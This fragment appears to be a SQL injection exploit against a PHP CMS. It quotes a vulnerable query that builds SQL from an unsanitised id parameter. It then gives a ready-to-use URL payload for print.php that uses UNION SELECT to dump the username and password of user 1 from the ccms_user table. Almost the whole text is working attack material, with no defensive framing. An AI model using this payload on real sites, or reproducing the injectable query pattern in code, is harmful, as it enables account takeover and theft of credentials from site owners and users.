$q = mysql_query("SELECT * from ccms_news_comments WHERE w_id='$id'");
print.php?id='+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+ccms_user+where+userid=1/*